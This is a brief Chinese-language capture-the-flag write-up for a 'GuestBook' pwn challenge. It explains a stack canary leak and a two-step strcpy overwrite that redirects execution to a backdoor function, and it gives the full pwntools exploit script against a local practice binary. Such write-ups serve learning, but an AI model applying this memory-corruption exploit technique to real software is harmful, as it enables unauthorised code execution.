GuestBooK–pwn
-
先利用read与puts,填充掉canary的最后一位,把canary打印出来,用这种不一样的字符方便接收和检验
payload = b"A"*(0x20-0x8-1)+b"B"+b'C'
然后需要利用strcpy输入两次,第一次把最后一位不对的canary以及后门函数地址输入进去,第二次把canary最后一位改为‘00’
当时没做出来,忘记了这种基础的泄露canary的方式了
》我真该死《有一些要注意的地方:
- 填充不一样的字母来方便接收的停顿
- strcpy遇到00会截断,所以不能有00,第一次注意注入的时候不要被截断掉
- 第二次利用strcpy会在最后加\x00的特性,来恢复canary的正确值
- 第二次不是在栈顶输入的,要加0x20
- 循环中的这个输入没有限制长度(当时做的时候
脑抽没想到)- 注意栈对齐
exp:
from pwn import*
context(log_level='debug',arch='amd64',os='linux')
p=process('./GuestBook')
#p=remote('',)
sl = lambda s :p.sendline(s)
sd = lambda s :p.send(s)
rc = lambda s :p.recv(s)
ru = lambda s :p.recvuntil(s)
rl = lambda :p.recvline()
def debug():
gdb.attach(p)
pause(1)
backdoor_addr = 0x04012C0
payload = b"A"*(0x20-0x8-1)+b"B"+b'C'
#gdb.attach(p)
sd(payload)
ru('B')
canary = u64(rc(8))
print(hex(canary))
sl(b'2')
payload = b'A'*(0xa0-0x8)+p64(canary)*2+p64(backdoor_addr)
sl(payload)
payload = b"A"*(0xa0-0x20-8)
debug()
sl(payload)
p.interactive()